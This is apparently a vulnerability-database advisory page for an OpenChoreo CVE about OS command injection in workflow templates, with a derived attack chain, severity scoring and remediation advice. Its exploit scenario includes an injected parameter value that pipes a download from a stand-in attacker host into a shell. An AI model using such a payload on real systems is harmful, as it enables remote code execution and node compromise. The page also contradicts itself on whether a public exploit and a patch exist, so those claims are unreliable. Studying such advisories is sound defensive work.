Skip to main content

OpenChoreo CVE-2026-73667

| EUVDEUVD-2026-58544 HIGH
OS Command Injection (CWE-78)
2026-08-13 security-advisories@github.com GHSA-2mw5-23gm-pccq
8.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privileged OpenChoreo developer
  2. Delivery
    Craft workflow parameter with embedded shell metacharacters
  3. Exploit
    Submit workflow job to Workflow Plane API
  4. Execution
    Template engine interpolates payload into sh -c shell command
  5. Persist
    Arbitrary commands execute inside workflow pod
  6. Impact
    Leverage privileged Podman (missing hostUsers: false) to escalate to Kubernetes node

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated account with permission to submit workflow jobs to the OpenChoreo Workflow Plane (CVSS PR:L confirmed). The vulnerable code path is specific to the workflow-templates.yaml sample templates under samples/getting-started/ - deployments that do not use or have not applied these templates are not affected. The secondary privilege escalation path (via Podman host UID mapping) additionally requires that the affected Podman workflow templates were deployed without hostUsers: false. Exploitation is not possible without workflow submission credentials; anonymous or unauthenticated access is not sufficient. Deployments where workflow parameters are restricted to a fixed, operator-controlled set and not exposed to developer input are not exploitable.

Impact

The CVSS 8.8 score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects that exploitation requires only low-privilege authenticated access (developer credentials) with no attack complexity. However, the S:U (unchanged scope) metric may understate real-world impact: the co-present privileged Podman misconfiguration (missing hostUsers: false) creates a realistic path to Kubernetes node compromise, which would justify S:C. This discrepancy between the NVD-assigned S:U and the described compound impact should be verified against the vendor advisory at GHSA-2mw5-23gm-pccq. No EPSS data was provided in the input; no KEV listing exists, and no public exploit has been identified, meaning exploitation probability is theoretical at this stage. Despite the absence of active exploitation signals, the low exploitation complexity (any authenticated developer can craft a malicious workflow parameter) makes this a genuine priority for organizations running OpenChoreo in multi-tenant or shared developer environments where not all workflow submitters are fully trusted.

Exploit ScenarioDerived

A developer with workflow submission access crafts a malicious value for the image-name workflow parameter - for example, legitimate-image; curl http://attacker.com/payload | sh - and submits a workflow job through the OpenChoreo platform. The Workflow Plane template interpolates this string directly into sh -c shell text, causing the shell to execute the injected command inside the workflow pod. Because the affected Podman templates lacked hostUsers: false, a sufficiently crafted payload could further leverage the privileged Podman configuration to escape the pod and interact with the underlying Kubernetes node.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

OS command injection in OpenChoreo's Workflow Plane templates allows authenticated developers to execute arbitrary shell commands inside workflow pods by supplying malicious workflow parameters. Affected versions prior to 1.0.4, 1.1.4, and 1.2.0-rc.2 directly interpolated user-controlled parameters such as image-name, image-tag, app-path, and build-env into sh -c shell text rather than passing them through container.env, a classic CWE-78 pattern. Compounding the injection risk, affected privileged Podman templates lacked the hostUsers: false isolation setting, creating a credible path from workflow pod compromise to Kubernetes node-level impact. No public exploit has been identified at time of analysis, but the fix commits confirm the vulnerability mechanism.

RemediationAI

Upgrade to OpenChoreo v1.0.4, v1.1.4, or v1.2.0-rc.2 as appropriate for your installed branch; all three releases are confirmed available at the GitHub releases page (https://github.com/openchoreo/openchoreo/releases). The upstream fix is delivered across four commits (017c3c6, 65c081f, b274127, fb2b659) and four pull requests (#4193, #4243, #4277, #4297), all addressing the same parameter interpolation pattern across multiple workflow template variants. If an immediate upgrade is not possible, a targeted workaround is to restrict workflow parameter submission to fully trusted operators only - this limits the blast radius because the injection requires attacker-controlled parameter values. Additionally, audit any deployed privileged Podman workflow templates and manually add hostUsers: false to container specs to prevent UID-mapping from container to host; this does not fix the injection but limits lateral movement if exploitation occurs. Do not expose the OpenChoreo Workflow Plane API to untrusted developer inputs without first applying the patch, as the injection path is low-complexity once parameter submission access is obtained.

Affected VersionsENISA

openchoreo 1.1.0, < 1.1.4
openchoreo < 1.0.4
openchoreo 1.2.0-rc.1, < 1.2.0-rc.2

Affected Packages

go github.com/openchoreo/openchoreo fix: 1.0.4, 1.1.4, 1.2.0-rc.2
euvd openchoreo fix: 1.0.4, 1.1.4
euvd openchoreo_1_2_0_rc_1 fix: 1.2.0-rc.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OpenChoreo is an open-source developer platform built on Kubernetes that uses Argo Workflow-style templating for its Workflow Plane. The vulnerable templates under samples/getting-started/workflow-templates/ constructed shell command strings by directly embedding Argo template expressions such as {{workflow.parameters.image-name}} and {{workflow.parameters.build-env}} into shell text executed via sh -c. This is a textbook CWE-78 (OS Command Injection) pattern: because the template engine performs string substitution before the shell parses the command, any workflow parameter containing shell metacharacters (semicolons, backticks, $(), pipes) is interpreted as shell syntax rather than data. The fix - confirmed in the commit diffs - moves all developer-supplied values into container.env entries and references them as $ENV_VAR shell variables, which the shell treats as opaque data rather than executable text. A secondary issue in the same templates is the absence of hostUsers: false in privileged Podman container configurations, which would otherwise prevent container UIDs from mapping to host UIDs and limit host-level impact if pod escape occurred.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

PR:L confirmed by authenticated developer requirement; S:C assessed (not S:U) because missing hostUsers:false in privileged Podman enables host-level node impact beyond the vulnerable pod.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE HIGH

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 13, 2026 - 23:04 EUVD
CVE Published
Aug 13, 2026 - 22:17 cve.org
HIGH 8.8

DescriptionCVE.org

OpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.4, 1.1.4, and 1.2.0-rc.2, OpenChoreo Workflow Plane templates under samples/getting-started/workflow-templates/ interpolated developer-controlled workflow parameters into shell program text executed through sh -c instead of passing the values through container.env, allowing arbitrary commands to run in workflow pods while affected privileged Podman templates lacked hostUsers: false. This issue is fixed in versions 1.0.4, 1.1.4, and 1.2.0-rc.2.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

OpenChoreo Workflow Plane templates prior to versions 1.0.4, 1.1.4, and 1.2.0-rc.2 contain OS command injection flaws allowing authenticated developers to execute arbitrary shell commands within workflow pods and potentially compromise Kubernetes nodes; no public exploit identified at time of analysis. Organizations using OpenChoreo for infrastructure automation face significant insider threat risk from compromised developer accounts gaining unauthorized access to container orchestration infrastructure. This vulnerability requires immediate remediation due to the credible path from pod compromise to node-level impact.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict workflow definition capabilities to a minimal, trusted developer cohort via RBAC; disable all privileged Podman templates immediately; implement Pod Security Policies enforcing hostUsers: false and unprivileged container constraints; audit all workflow definitions for dangerous parameters; add parameter validation and sanitization layers at workflow submission; monitor workflow pod execution logs for exploitation indicators.

Threat Intelligence Overview

EPSS Score
0.6%
Top 54% exploitable
Prevalence
Low
open-source Kubernetes developer platform, limited known enterprise adoption
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected
openSUSE Leap 15.6 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy